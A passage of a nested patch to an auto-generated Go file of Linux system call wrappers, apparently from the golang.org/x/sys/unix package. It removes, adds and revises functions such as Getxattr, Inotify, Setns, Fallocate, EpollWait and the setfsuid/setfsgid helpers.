-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,118 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_FADVISE64, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1529,7 +114,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1537,7 +122,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1545,7 +130,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1553,7 +138,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1619,6 +204,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
- r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
-@@ -1641,8 +246,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1651,8 +257,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1711,9 +318,9 @@ func Shutdown(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(int64(r1)<<32 | int64(r0))
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1747,6 +354,16 @@ func Truncate(path string, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
-@@ -1957,6 +574,21 @@ func Iopl(level int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func futimesat(dirfd int, path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
